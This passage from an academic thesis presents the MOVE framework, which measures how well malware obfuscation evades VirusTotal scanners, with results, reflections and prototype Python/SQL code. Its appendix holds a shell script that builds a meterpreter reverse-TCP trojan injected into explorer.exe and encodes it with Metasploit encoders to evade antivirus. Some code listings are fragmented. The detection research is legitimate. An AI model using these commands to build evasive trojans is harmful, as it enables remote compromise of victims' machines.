Notation: UML 2.0 [74]

- **Report**
  The class `Report` represents a report with regards to a conducted analysis, which is created per obfuscating transformation. It uses the interface for accessing the anti-malware solution implementations (currently only Virustotal) and also contains the logic for computing the malware-oriented obfuscation effectiveness based on definition 5.1.2. The source code can be found in the appendix as well (see section A.7).

- **Transformation**
  Due to the huge effort required to implement the malicious primitives as well as the transformation logic by myself, I have created mocks based on existing obfuscating transformation by using Metasploit's encoder engine [184]. Therefore, this class just represents a container for my mocked primitive implementations. The used transformations and the corresponding results are further described in section 5.2.4. In addition, the source code of this class can be found in the appendix as well (see section A.4).

- **Feedback**
  In order to abstract the database from the business layer, this class has been introduced. It takes all instances of the `Report` class and feeds them back into the database, i.e. persists them (see section A.8 for the source code).

5.2.3 Application Layer

The creation of a user interface was out of scope. Therefore, there is no application layer implemented yet. However, this can be done in the future.

5.2.4 Implementation status and evaluation

The prototype works and therefore has verified the feasibility of the MOVE Framework as a means of measuring the effectiveness of malware-oriented obfuscating transformations in evading detection systems. However, it is not complete at all, especially the mocked transformation functionality. In addition, more malicious prim-
itive implementations as well as further service implementations of anti-malware solutions must be added in order to increase the accuracy of MOVE.

Mocked transformations
The transformations used to test the prototype are mocked. Nevertheless, they still represent real obfuscating implementations used in the wild. Thereby, they were prepared as follows:

- **Malware asset**
  A reverse TCP shell representing the asset was used to create a self-made trojan by injecting the asset into a 32-bit version of MS Windows’ explorer.exe. This choice was explicitly made due to the reverse TCP shell’s popularity, i.e. its detection is easy without any obfuscating transformation.

- **Malicious primitives**
  The following primitive implementations have been used to protect the malware asset:
  - Malicious cover:
    Simple archivers, namely ZIP and JAR, as well as the most used packer, namely UPX (see packer statistics [201]), have been used as concrete implementations of the malicious cover primitive.
  - Malicious map:
    Metasploit’s CPUID-based context keyed payload encoder, Fnstenv as well as SingleByte XOR have been selected as concrete implementations of the map primitive [184].
  - Malicious dynamic:
    Finally, Shikata-Ga-Nai and Bloxor have been used as implementations of the dynamic primitive [184].

The script that generates the mocked transformations can be found in the appendix (see section A.12).

Retrieving and interpreting the effectiveness
After running the prototype, the computed malware-oriented obfuscation effectiveness per used transformation can be retrieved by querying the MOVE DB. In order to abstract the querying approach from the underlying SQL dialect, relational algebra notation is used to describe the course of action. Thereby, there exist the following two effectiveness measurements, which can be retrieved from the prototyped MOVE DB:

1. **Effectiveness per malicious primitive implementation**
   The first measurement represents the effectiveness of individually used malicious primitive implementations in evading the tested detection systems (currently it only concerns the products used by Virustotal) and is retrieved as follows:
   \[
   \pi_{n,O,e,d} (\sigma (pi \bowtie tupi \bowtie tf \bowtie ar \bowtie atr \bowtie at))
   \]
In other words, by joining the tables `primitive_impl (pi)`, `transf_using_primitive_impl (tupi)`, `transformation (tf)`, `analysis_report (ar)`, `analysis_type_report (atr)` and creating a projection on the attributes `name (n)`, `desc (d)` and `effectiveness (Oe)`, the result set as shown in table 5.2 can be retrieved. Readers interested in the concrete SQLite query, can find it in the appendix (see section A.11).

2. **Effectiveness per malicious primitive**

The second measurement merges the effectiveness of the existing implementations per malicious primitive by computing their average success and therefore represents the overall effectiveness per malicious primitive:

\[
\pi_{n,\text{AVG}(O_e)} (\sigma (mp \bowtie mpi \bowtie pi \bowtie tupi \bowtie tf \bowtie ar \bowtie atr \bowtie at))
\]

Extending the first query by additionally joining the tables `malicious_primitive (mp)`, `malicious_primitive_impl (mpi)` and creating a projection on the attributes `name` and the computed average of all implementations per primitive (`AVG(O_e)`), the result set as shown in table 5.3 can be retrieved. The concrete implementation of the SQL query can be found in the appendix (see section A.11).

<table>
<thead>
<tr>
<th>Primitive implementation</th>
<th>Effectiveness</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ZIP</td>
<td>1.0</td>
<td>Covered within a ZIP</td>
</tr>
<tr>
<td>JAR</td>
<td>1.0</td>
<td>Covered within a JAR</td>
</tr>
<tr>
<td>CPUID</td>
<td>0.46</td>
<td>CPUID encoding</td>
</tr>
<tr>
<td>Bloxor</td>
<td>0.46</td>
<td>Bloxor metamorphic encoding</td>
</tr>
<tr>
<td>ShikataGaNai</td>
<td>0.39</td>
<td>Shikata-Ga-Nai encoding</td>
</tr>
<tr>
<td>FnstenvXOR</td>
<td>0.38</td>
<td>Fnstenv encoding</td>
</tr>
<tr>
<td>SingleByteXOR</td>
<td>0.37</td>
<td>SingleByte XOR encoding</td>
</tr>
<tr>
<td>UPX</td>
<td>0.29</td>
<td>Packed via UPX</td>
</tr>
<tr>
<td>CPUID, SingleByteXOR,</td>
<td>0.54</td>
<td>Composition 2</td>
</tr>
<tr>
<td>FnstenvXOR, ShikataGaNai,</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Bloxor, UPX</td>
<td></td>
<td></td>
</tr>
<tr>
<td>FnstenvXOR, ShikataGaNai,</td>
<td>0.53</td>
<td>Composition 1</td>
</tr>
<tr>
<td>UPX</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Table 5.2: Malware-oriented obfuscation effectiveness per malicious primitive implementation retrieved via MOVE

The results were very surprising to me. The simplest implementations of the malicious cover primitive, namely ZIP and JAR were able to evade 100% of the anti-malware products used within Virustotal. In contrast, UPX is the bottom of the
5.3 Conclusion

MOVE represents an empirical framework that is able to measure the effectiveness of malware-oriented obfuscation techniques in evading anti-malware solutions based on either static or dynamic approaches. In addition, its accuracy increases with the number of known and available primitive implementations as well as access to existing anti-malware solutions. However, this also represents its disadvantage as its implementation and setup are complex and time-consuming. Nevertheless, the implemented prototype has verified the framework’s feasibility and also presented usable first results. In conclusion, the next steps required include further malicious primitive implementations as well as the extension of the interface containing access to anti-malware solutions by adding other service implementations as it was done for integrating Virustotal.

<table>
<thead>
<tr>
<th>Primitive</th>
<th>Effectiveness</th>
</tr>
</thead>
<tbody>
<tr>
<td>Malicious cover</td>
<td>0.67</td>
</tr>
<tr>
<td>Malicious dynamic</td>
<td>0.49</td>
</tr>
<tr>
<td>Malicious map</td>
<td>0.48</td>
</tr>
</tbody>
</table>

Table 5.3: Malware-oriented obfuscation effectiveness per malicious primitive retrieved via MOVE

...
In Mozart and Salieri we see the contrast between the genius which does what it must and the talent which does what it can.

Maurice Baring (1874 - 1945)

My established knowledge concerning obfuscation, which was a completely new domain for me, is mainly due to Christian Collberg’s work. I highly appreciate his work, especially his book [46] written together with Jasvir Nagra, which is based on a series of their research work such as [48] and [46]. Their work has not only introduced me into the fascinating world of obfuscation, but also inspired my work.

As my work is focused on malware-oriented obfuscation techniques, there are some differences in my approach. Collberg et al. proposed a three dimensional metric for evaluating obfuscating transformations based on potency, resilience and cost. Thereby, potency describes how much more difficult the obfuscated program is to understand for a human than the original program. Its measure is based on popular software complexity measures such as cyclomatic, nesting or data flow complexity. Resilience on the other hand describes how well an obfuscating transformation resists an automatic de-obfuscator that tries to reduce the introduced potency. Its measure is based on the execution time and space required by an automatic de-obfuscator to effectively reduce the potency. The third dimension, namely cost, describes the execution time and space penalty, which an obfuscating transformation incurs on an obfuscated program. In other words, it states how much more resources an obfuscated program requires when compared to the original program [48]. In contrast, my introduced metric is only one dimensional, but exactly reflects what we need to measure the effectiveness of malware-oriented obfuscation techniques in evading existing detection systems. Its measure is based on Cohen’s diagonalisation approach and rewards an obfuscating transformation that cannot be detected by an anti-malware solution. Furthermore, it is not limited by only measuring obfuscated code, but all possible mediums, which can be used for obfuscation purposes. Thereby, this is possible due to the primitives introduced in chapter 3.

Another interesting approach, which I considered at first, was the use of entropy as a measure for obfuscation techniques. Although entropy can be helpful for measuring code obfuscation as proposed by Giacobazzi and Toppan [68], it is not applicable to all obfuscation mechanisms. For example, as introduced in chapter 3, implementations of the malicious mimic and advertise primitives make use of social engineering in order to misuse the fundamental concept of security, namely trust. In turn, this nebulous concept cannot be measured by entropy at all. In addition, the
malicious map and dynamic primitives can abstractly be seen as entropy generators, especially the dynamic primitive due to its nature of being unpredictable and in continuous change. However, as shown by the results of the MOVE prototype in section 5.2.4, high entropy does not implicitly increase the effectiveness of malware-oriented obfuscating transformations in evading detectors. Quite the contrary, in my opinion, high entropy can potentially decrease the effectiveness as it reduces stealthiness and implicitly attracts attention. Therefore, I discarded the idea of using entropy as a possible metric.

When it comes to the design of the MOVE Framework introduced in chapter 5, ADAM (An Automatic and Extensible Platform to Stress Test Android Anti-Virus Systems) proposed by Zheng et al. [290] as well as DroidChameleon proposed by Rastogi et al. [187] highly inspired my chosen design. Both proposals represent frameworks for testing the robustness of anti-malware solutions against Android malware. Furthermore, the results presented in both proposals concerning the effectiveness of malware-oriented obfuscation are much stronger, i.e. more significant than mine as they have much more test cases. However, I have to highlight that my focus was to design the MOVE Framework itself rather than implementing obfuscation techniques by myself. Moreover, the obfuscating transformations used in ADAM and DroidChameleon are just a subset of possible implementations, which can be provided by MOVE as it is based on primitives rather than on individual implementations. What is more, MOVE is platform independent whereas ADAM and DroidChameleon focus on Android. Therefore, ADAM, DroidChameleon and MOVE can complete each other.

Finally, I would like to mention the work of Wu et al. [282], which not directly concerns the evaluation of malware-oriented obfuscating transformations, but the security of obfuscation in general based on a regression model. By applying this approach, it would be very interesting to analyse if there is a correlation between the security and the effectiveness of malware-oriented obfuscating transformations, i.e. if secure obfuscation implies effectiveness and vice versa.
Part III

CONCLUSION
Reflection

Obfuscation is heavily involved when it comes to the success of malware. It stealthily ensures the protection of the malware’s asset during its life-cycle, i.e. infiltration, execution and exfiltration for a limited time. When it is either do or die, it is able to fight back by presenting its resilience in order to resist both static and dynamic analysis approaches for a limited time. So, it literally represents malware’s right hand and had my special attention in this thesis. Thus, the project’s goal was to thoroughly investigate in malware-oriented obfuscation techniques by analysing its origins, its presence and its future trends. Furthermore, finding a way to evaluate the effectiveness of malware-oriented obfuscation techniques in evading detectors was also part of the requirements.

The project goals have been achieved successfully. Thereby, the following key points reflect my achievements:

- **In-depth knowledge concerning malware-oriented obfuscation techniques**
  Starting with a bit more than zero knowledge with regards to the theory of obfuscation, researching the subject helped me to gain in-depth knowledge, especially of malware-oriented techniques including the mobile landscape.

- **Malware-oriented obfuscation primitives and hands-on dissection**
  As a cryptography enthusiast, I tried to categorise obfuscation techniques by defining primitives like it was done in the field of cryptography. Thanks to Collberg et al., I could find the right primitives, which I also verified by dissecting real obfuscation layers and assigning them to the corresponding primitives. A new approach to categorise malware-oriented obfuscation techniques was created based on the combination of research and hands-on dissection of real malware. Furthermore, for each primitive proposed, there are also countermeasures defined, which can help to either uncover the protection layer provided by the corresponding primitive or to reduce its success.

- **Next Generation Obfuscation**
  Due to research and the primitives retrieved, it was possible for me to make some predictions about possible directions in which malware-oriented obfuscation techniques might go. This approach is thereby of paramount importance
in order to be able to keep pace with the associated threats and attacks of tomorrow.

- **Creation of the MOVE Framework**
  Based on the primitives created, MOVE was proposed, which represents an empirical framework that is able to measure the effectiveness of malware-oriented obfuscating transformations in evading anti-malware detectors. In turn, the results can be used to investigate in corresponding countermeasures and rearm our systems.

- **Prototyping of the MOVE Framework**
  In order to verify the feasibility of MOVE, a prototype has been implemented that already shows first results.

The so-called arms race between malware authors and anti-malware vendors, or in general between adversaries, is not only an arms race in my opinion, but part of something much bigger when considering the whole picture. It is more like a relationship such as the *predator-prey* relationship in the wild as introduced in section 2.1.1, which maintains the correct balance among the diversity of animal species and ensures their proper life cycle. Applied to our realm and era, namely to the information age or to be more accurately, the *Age of Zero Trust*, the relationship between adversaries ensures and maintains the proper life cycle of information, which in turn is the most valuable asset with regards to our existence. It almost decides about everything in our lives, e.g. whether we are considered as being rich or poor, trustworthy or a untrustworthy, powerful or powerless, etc. Therefore, in order to maintain the balance of information in general, it eventually must leak from one party to another one. In other words, when focusing on industry, it is not possible to arm systems that are able to resist malware for sure, especially not by only using a technology based approach.

Moreover, as my thesis is quite technical, I would like to consider my contribution also within the big picture of the information security framework. The categorisation of obfuscation layers, proposed countermeasures against obfuscation layers, prediction and evaluation of next generation obfuscation techniques and a framework for measuring the effectiveness of malware-oriented obfuscation do all belong to one dimension of security, namely to improve the security of technology. However, there are two other fundamental dimensions, which are equally important, namely the awareness of human beings (e.g. through education) and the enforcement of defined policies through processes (e.g. through standards such as ISO27001 [96]). Therefore, in order to be able to survive malware attacks, these three dimensions must always go hand in hand.

To use the words of Sun Tzu: "Know your enemy and know yourself and you can fight a hundred battles without disaster." Applied to the information warfare of today, there is no arms race that we can win, but we can influence and delay the time until we are hit. Once hit, real strength is the ability to recover and stand up again.
And, when you want something, all the universe conspires in helping you to achieve it.

"Maktub" (It is written.)

The Alchemist, Paulo Coelho (1947 - )

Future Directions

The prototype, which has been implemented in order to verify the feasibility of the MOVE Framework, is far from being complete. It lacks in accuracy due to the absence of a significant number of primitive implementations as well as the connections to several other anti-malware solutions (online and local). Therefore, the next steps include the following tasks:

1. **Malicious primitive implementations**
   In a first step, the malicious primitives as presented in chapter 3, have to be implemented. Thereby, the Dyminst API [164] could be very helpful to facilitate binary rewriting, which is required for the vast majority of the primitives. In case of mobile malware, focusing on Android, obfuscating implementations can be applied to Android malware samples by modifying assembly-like Smali code, which can be retrieved by disassembling the corresponding DEX (containing Dalvik opcodes) files within a APK packaged malware sample (e.g. by using Smali [76]).

2. **Service implementations of anti-malware solutions**
   In a second step, the interface to the anti-malware solutions has to be extended by implementing the corresponding service implementations. Thereby, they either can be locally accessible or online such as Virustotal. Thus, it would be interesting to integrate further online solutions such as MetaScan [124], Andrubis [108], VisualThreat [222], APKScan [157], CopperDroid [109], etc. and also offline solutions such as DroidBox [71], DroidScope [72], etc.

3. **Testing and Reporting**
   Once both implementation tasks are completed, the new obfuscating transformations have to be tested against the newly integrated anti-malware solutions. Furthermore, MOVE could be productised by integrating it into Cuckoo Sandbox [191], which is an open source software for automating malware analysis. Thereby, MOVE could be integrated into Cuckoo by implementing a customised Processing Module [192] as well as a Reporting Module [193]. In this case, the missing UI of MOVE could be delegated to Cuckoo’s nice web-based interface. This would save the work of creating a completely new UI from scratch.
8. FUTURE DIRECTIONS

As the nature of the approach presented in this thesis is mainly preventive in order to fight back malware, I have also thought about a more offensive approach, which would be very interesting to invest research. Software Watermarking is a popular technique used in DRM, where it is fundamental to be able to prove that one has certain rights on an object or is owner of an object (e.g. software, media, etc.) [46]. So, it would be very interesting to analyse if this technique is already in use by malware authors in order to strengthen their business, e.g. to track who is able to use and deploy their malicious services (e.g. Exploit-as-a-Service [73]) or to detect if rivals have copied their work. Furthermore, it would be interesting to see if we were able to turn the tables by using software watermarking techniques to track back malware with the goal to find and phase out whole underground businesses rather than individual malware instances. In this case, the root of the problem could be tackled and not merely its symptoms as it is done today.
Part IV

APPENDICES
A.1 Source Code structure

```
move_prototype/
  __init__.py
  moveMain.py
  moveDB.py
  transformation.py
  interface.py
  virustotal.py
  reporting.py
  feedback.py
sqlScripts/
  __moveDBCreate.sql
  __moveDBInitData.sql
  __effectivenessRetrieval.sql
mocks/
  __transformationMockGen.sh
  __asset.zip (generated)
  __asset.jar (generated)
  __asset_p.exe (generated)
  __explorer_cpuid.exe (generated)
  __explorer_singleByte.exe (generated)
  __explorer_fnstenv.exe (generated)
  __explorer_shi.exe (generated)
  __explorer_blo.exe (generated)
  __explorer_fnstenv_shi.exe (generated)
  __explorer_all.exe (generated)
```

A.2 moveMain.py

```python
1  #!/usr/bin/env python
2  import os
```
import sys
sys.path.append(os.getcwd())
from reporting import Report
from transformation import Transformation
from moveDB import MoveDB
from feedback import Feedback

def main():
    # Create DB
    db = MoveDB('moveDB')
    db.delete_db()
    conn = db.create_db()

    # Init DB
    init_script = "sqlScripts/moveDBCreate.sql"
    init_data = "sqlScripts/moveDBInitData.sql"
    db.init_db(init_script, conn)
    db.init_db(init_data, conn)
    conn.close()

    # Transformation mocks
    trafo1 = Transformation("trafo1", "Covered within a ZIP", "mocks/asset.zip", ['ZIP'])
    trafo2 = Transformation("trafo2", "Covered within a JAR", "mocks/asset.jar", ['JAR'])
    trafo3 = Transformation("trafo3", "Packed via UPX", "mocks/asset_p.exe", ['UPX'])
    trafo4 = Transformation("trafo4", "CPUID encoding", "mocks/explorer_cpuid.exe", ['CPUID'])
    trafo5 = Transformation("trafo5", "SingleByte XOR encoding", "mocks/explorer_singleByte.exe", ['SingleByteXOR'])
    trafo6 = Transformation("trafo6", "Fnstenv encoding", "mocks/explorer_fnstenv.exe", ['FnstenvXOR'])
    trafo7 = Transformation("trafo7", "Shikata-Ga-Nai encoding", "mocks/explorer_shi.exe", ['ShikataGaNai'])
    trafo8 = Transformation("trafo8", "Bloxor metamorphic encoding", "mocks/explorer_blo.exe", ['Bloxor'])
    trafo9 = Transformation("trafo9", "Composition 1", "mocks/explorer_fnstenv_shi.exe", ['FnstenvXOR', 'ShikataGaNai', 'UPX'])
    trafo10 = Transformation("trafo10", "Composition 2", "mocks/explorer_all.exe", ['CPUID', 'SingleByteXOR', 'FnstenvXOR', 'ShikataGaNai', 'Bloxor', 'UPX'])

    # Report
    report1 = Report("Report1", "Report1 desc", trafo1, "static")
report5 = Report("Report5", "Report5 desc", trafo5, "static")
report8 = Report("Report8", "Report8 desc", trafo8, "static")


# Feedback
feedback = Feedback(report_list)

if __name__ == '__main__':
    main()

A.3 moveDB.py

```python
import sqlite3
import os
import os.path

class MoveDB(object):
    def __init__(self, name):
        self.name = name

    def create_db(self):
        conn = sqlite3.connect(self.name)
        return conn

    def delete_db(self):
        if os.path.isfile(self.name):
            os.remove(self.name)

    def init_db(self, init_script, conn):
        init_query = open(init_script, 'r').read()
        cursor = conn.cursor()
        cursor.executescript(init_query)
        conn.commit()
        cursor.close()

    def connect_db(self):
        conn = sqlite3.connect(self.name)
        return conn
```

Listing A.2: moveDB.py
A.4 transformation.py

```python
import os
import sys
sys.path.append(os.getcwd())

class Transformation(object):
    def __init__(self, name, description, mock_path, impl):
        self.name = name
        self.description = description
        self.mock_path = mock_path
        self.impl = impl

    def get_impl(self):
        return self.impl

    def get_name(self):
        return self.name

    def get_description(self):
        return self.description

    def get_mock_path(self):
        return self.mock_path
```

Listing A.3: transformation.py

A.5 interface.py

```python
import os
import sys
from abc import ABCMeta, abstractmethod
sys.path.append(os.getcwd())
from virustotal import VirusTotalServiceImpl

class AbstractAntiMalwareSolution(object):
    __metaclass__ = ABCMeta

    @abstractmethod
    def test_static_solutions(self):
        """Static Antimalware solutions""
        return

    @abstractmethod
    def test_dynamic_solutions(self):
        """Dynamic Antimalware solutions""
        return

class AntiMalwareSolution(AbstractAntiMalwareSolution):
```

103
```python
def test_static_solutions(self, transformation):
    # can be extendend with reports from different solutions
    report_list = []
    vir_result = VirusTotalServiceImpl()
    report = vir_result.get_report(transformation)
    report_list.append(report)
    return report_list

def test_dynamic_solutions(self, transformation):
    raise NotImplementedError()

Listing A.4: interface.py

A.6 virustotal.py

```
L.append("
L.append(value)
for (key, filename, value) in files:
    L.append('--' + BOUNDARY)
    L.append('Content-Disposition: form-data; name="%s"; filename="%s"
        content_type = mimetypes.guess_type(filename)[0] or VirusTotalServiceImpl.DEFAULT_TYPE
    L.append('Content-Type: %s' % content_type)
    L.append('')
    L.append(value)
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
return content_type, body

# Based on Source from http://code.activestate.com/recipes/146306/
def post_multipart(self, url, fields, files=[]):
    """
    url is the full to send the post request to.
    fields is a dictionary of name to value for regular form fields.
    files is a sequence of (name, filename, value) elements for data to be uploaded as files.
    Return body of http response.
    """
    content_type, data = self.encode_multipart_formdata(fields, files)
    url_parts = urlparse.urlparse(url)
    if url_parts.scheme == 'http':
        h = httplib.HTTPConnection(url_parts.netloc)
    elif url_parts.scheme == 'https':
        h = httplib.HTTPSConnection(url_parts.netloc)
    else:
        raise Exception('Unsupported URL scheme')
    path = urlparse.urlunparse(('', '', '') + url_parts[2:])
    h.request('POST', path, data, {'content-type':content_type})
    return h.getresponse().read()

def scan_file(self, filename):
    files = [(\'file\', filename, open(filename, \'rb\').read())]
    json = post_multipart(VirusTotalServiceImpl.SCAN_URL, \{'key': VirusTotalServiceImpl.API_KEY}, files)
    return simplejson.loads(json)

def get_report(self, filename):
md5sum = hashlib.md5(open(filename, 'rb').read()).hexdigest()

json = self.post_multipart(VirusTotalServiceImpl.REPORT_URL,
                          {'resource':md5sum, 'key':VirusTotalServiceImpl.API_KEY})
data = simplejson.loads(json)

if data['result'] != 1:
    print 'Result not found, submitting file.'
    data = self.scan_file(filename)
    if data['result'] == 1:
        print 'Submit successful.'
        print 'Please wait a few minutes and try again to receive report.'
    else:
        print 'Submit failed.'
        pprint.pprint(data)

report = data['report'][1]
return report

Listing A.5: virustotal.py

A.7 reporting.py

import os
import sys
sys.path.append(os.getcwd())
from interface import AntiMalwareSolution

class Report(object):
    def __init__(self, name, description, transformation, analysis_type):
        self.name = name
        self.description = description
        self.transformation = transformation
        self.analysis_type = analysis_type
        self.effectiveness = 0
        self.compute_effectiveness()

    def get_name(self):
        return self.name

    def get_description(self):
        return self.description

    def get_trafo(self):
        return self.transformation

    def get_analysis_type(self):
        return self.analysis_type

    def get_effectiveness(self):
return self.efficiency

def get_static_analysis_report(self):
    anti_malware_solution = AntiMalwareSolution()
    reportList = anti_malware_solution.test_static_solutions(self.transformation.mock_path)
    return reportList

def get_dynamic_analysis_report(self):
    raise NotImplementedError()

def compute_effectiveness(self):
    reward = 0
    punishment = 0
    evaded = '
    eff_list = []

    list_anti_malware_products = [
        'ALYac', 'AVG', 'AVware', 'Ad-Aware', 'AegisLab', 'Agnitum',
        'AhnLab-V3', 'Alibaba', 'Antiy-AVL', 'Avast',
        'Avira', 'Baidu-International', 'BitDefender', 'Bkav', 'ByteHero', 'CAT-QuickHeal', 'CMC', 'ClamAV',
        'Comodo', 'Cyren', 'DrWeb', 'ESET-NOD32', 'Emsisoft', 'F-Pro', 'F-Secure', 'Fortinet', 'GData', 'Ikarus',
        'Jiangmin', 'K7AntiVirus', 'K7GW', 'Kapersky', 'Kingsoft',
        'Malwarebytes', 'McAfee', 'McAfee-GW-Edition',
        'MicroWorld-eScan', 'Microsoft', 'NANO-Antivirus', 'Norman',
        'Panda', 'Qihoo-360', 'Rising', 'SUPERAntiSpyware',
        'Sophos', 'Symantec', 'Tencent', 'TheHacker', 'TotalDefense',
        'TrendMicro', 'TrendMicro-HouseCall',
        'VBA32', 'VIPRE', 'ViRobot', 'Zillya', 'Zoner', 'nProtect'
    ]

    report_list = self.get_static_analysis_report() # currently only 1 entry from Virustotal
    for i in range(0, len(report_list)):
        if report_list[i] == '':
            # Must not happen.
            raise Exception('report_list is empty! - Murphy!')

        for product in list_anti_malware_products:
            if product in report_list[i]:
                if report_list[i][product] == evaded:
                    reward += 1
            else:
                punishment += 1
    self.efficiency = float(reward) / (reward + punishment)

Listing A.6: reporting.py
import os
import sys
sys.path.append(os.getcwd())
from moveDB import MoveDB

class Feedback(object):
    def __init__(self, report_list):
        self.report_list = report_list
        self.feed_back()

    def feed_back(self):
        db = MoveDB('moveDB')
        conn = db.connect_db()
        cur = conn.cursor()

        for i in range(0, len(self.report_list)):
            # Create analysis_report entries
            cur.execute("insert into analysis_report values (null, ?, ?, ?)",
                        (self.report_list[i].get_name(),
                         self.report_list[i].get_description(),
                         self.report_list[i].get_effectiveness()))
            type_id = 1
            report_id = cur.lastrowid
            if self.report_list[i].get_analysis_type() == 'dynamic':
                type_id = 2

            # Create analysis_type_report entries
            cur.execute("insert into analysis_type_report values (?, ?)",
                        (type_id, report_id))

            # Create transformation entries
            trafo = self.report_list[i].get_trafo()
            cur.execute("insert into transformation values (?, ?, ?)",
                        (report_id, trafo.get_name(), trafo.get_description()))
            impl_list = trafo.get_impl()
            for i in range(0, len(impl_list)):
                impl = impl_list[i]
                cur.execute("select pi_id from primitive_impl where name = ?",
                             (impl,))
                pi_id = cur.fetchone()

                # Create transf_using_primitive_impl entries
                cur.execute("insert into transf_using_primitive_impl values (?, ?)",
                            (report_id, pi_id[0]))

        conn.commit()
        cur.close()
A.9 moveDBCreate.sql

```sql
/*
* MOVE DB creation scripts
*/
CREATE TABLE 'malicious_primitive' (  
  'mp_id' INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,  
  'name' TEXT NOT NULL,  
  'desc' TEXT NOT NULL
) ;

CREATE TABLE 'primitive_impl' (  
  'pi_id' INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,  
  'name' TEXT NOT NULL,  
  'desc' TEXT NOT NULL
) ;

CREATE TABLE 'malicious_primitive_impl' (  
  'mp_id' INTEGER,  
  'pi_id' INTEGER UNIQUE,  
  FOREIGN KEY('mp_id') REFERENCES malicious_primitive('mp_id'),  
  FOREIGN KEY('pi_id') REFERENCES primitive_impl('pi_id')  
) ;

CREATE TABLE 'transformation' (  
  'tf_id' INTEGER NOT NULL PRIMARY KEY,  
  'name' TEXT NOT NULL,  
  'desc' TEXT NOT NULL
) ;

CREATE TABLE 'transf_using_primitive_impl' (  
  'tf_id' INTEGER,  
  'pi_id' INTEGER,  
  FOREIGN KEY('tf_id') REFERENCES transformation('tf_id'),  
  FOREIGN KEY('pi_id') REFERENCES primitive_impl('pi_id')  
) ;

CREATE TABLE 'analysis_report' (  
  'ar_id' INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,  
  'name' TEXT NOT NULL,  
  'desc' TEXT NOT NULL,  
  'effectiveness' REAL NOT NULL
) ;

CREATE TABLE 'analysis_type' (  
```
CREATE TABLE `analysis_type_report` (
  `at_id` INTEGER,
  `ar_id` INTEGER UNIQUE,
  FOREIGN KEY(`at_id`) REFERENCES analysis_type(`at_id`),
  FOREIGN KEY(`ar_id`) REFERENCES analysis_report(`ar_id`)
);
the asset within a JAX") ; /* 2 */
22 INSERT INTO primitive_impl(name, desc) VALUES ("UPX", "Packing
the asset with UPX") ; /* 3 */

24 /* Map */
25 INSERT INTO primitive_impl(name, desc) VALUES ("CPUID", "CPUID–
based context keyed payload encoder") ; /* 4 */
26 INSERT INTO primitive_impl(name, desc) VALUES ("SingleByteXOR", "Single–byte XOR") ; /* 5 */
27 INSERT INTO primitive_impl(name, desc) VALUES ("FnstenvXOR", 
Variable–length Fnstenv/mov Dword XOR encoder") ; /* 6 */

29 /* Dynamic */
30 INSERT INTO primitive_impl(name, desc) VALUES ("ShikataGaNai", 
Polymorphic XOR Additive Feedback Encoder") ; /* 7 */
31 INSERT INTO primitive_impl(name, desc) VALUES ("Bloxor", "Metamorphic Block Based XOR Encoder") ; /* 8 */

34 /* Malicious primitive impl table – Mocks */
35 /* Cover */
36 INSERT INTO malicious_primitive_impl(mp_id, pi_id) VALUES (1, 1);
37 INSERT INTO malicious_primitive_impl(mp_id, pi_id) VALUES (1, 2);
38 INSERT INTO malicious_primitive_impl(mp_id, pi_id) VALUES (1, 3);

40 /* Map */
41 INSERT INTO malicious_primitive_impl(mp_id, pi_id) VALUES (6, 4);
42 INSERT INTO malicious_primitive_impl(mp_id, pi_id) VALUES (6, 5);
43 INSERT INTO malicious_primitive_impl(mp_id, pi_id) VALUES (6, 6);

45 /* Dynamic */
46 INSERT INTO malicious_primitive_impl(mp_id, pi_id) VALUES (10, 7)
; /* Dynamic – ShikataGaNai */
47 INSERT INTO malicious_primitive_impl(mp_id, pi_id) VALUES (10, 8)
; /* Dynamic – Bloxor */

50 /* Analysis type table */
51 INSERT INTO analysis_type(type, desc) VALUES ("Static", "Static
analysis approach");
52 INSERT INTO analysis_type(type, desc) VALUES ("Dynamic", "Dynamic
analysis approach");
A.11 moveDBEffectivenessRetrieval.sql

```sql
/*
* MOVE DB effectiveness retrieval
*/

/* Retrieval of the effectiveness of all existing primitive implementations */
select pi.name as 'primitive_impl', ar.efficiency, tf.desc
from primitive_impl as pi, transf_using_primitive_impl as tupi
    , transformation as tf, analysis_report as ar, analysis_type
    as at, analysis_type_report as atr
where pi.pi_id = tupi.pi_id
    and tupi.tf_id = tf.tf_id
    and tf.tf_id = ar.ar_id
    and ar.ar_id = atr.ar_id
    and atr.at_id = at.at_id

/* Retrieval of the overall primitive effectiveness */
select mp.name as 'malicious primitive', avg(ar.efficiency) as eff_avg
from malicious_primitive as mp,
    malicious_primitive_impl as mpi, primitive_impl as pi,
    transf_using_primitive_impl as tupi, transformation as tf,
    analysis_report as ar, analysis_type
    as at, analysis_type_report as atr
where mp.mp_id = mpi.mp_id
    and mpi.pi_id = pi.pi_id
    and pi.pi_id = tupi.pi_id
    and tupi.tf_id = tf.tf_id
    and tf.tf_id = ar.ar_id
    and ar.ar_id = atr.ar_id
    and atr.at_id = at.at_id
    and mp.name = 'Malicious cover'

Listing A.10: moveDBEffectivenessRetrieval.sql
```

A.12 transformationMockGen.sh

```sh
#!/bin/bash
# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
# Transformation Mock Generator
# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
# Requirements:
# - Kali Linux
# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
# Malware asset: reverse tcp shell
# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.7 LPORT=6666 X > malware_asset.exe
# Cover primitive implementations
# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
zip asset.zip malware_asset.exe
```

112
# JAR
jar −cvf asset.jar malware_asset.exe

# UPX
cp malware_asset.exe asset_p.exe
upx asset.exe

# Map primitive implementations

# CPUID−based context keyed payload encoder
msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.7 LPORT=6666 R | msfencode −e x86/context_cpuid −t exe −x ./explorer.exe −k −c 10 > explorer_cpuid.exe

# Single-byte XOR
msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.7 LPORT=6666 R | msfencode −e x86/countdown −t exe −x ./explorer.exe −k −c 10 > explorer_singleByte.exe

# Variable-length Fnstenv/mov Dword XOR encoder
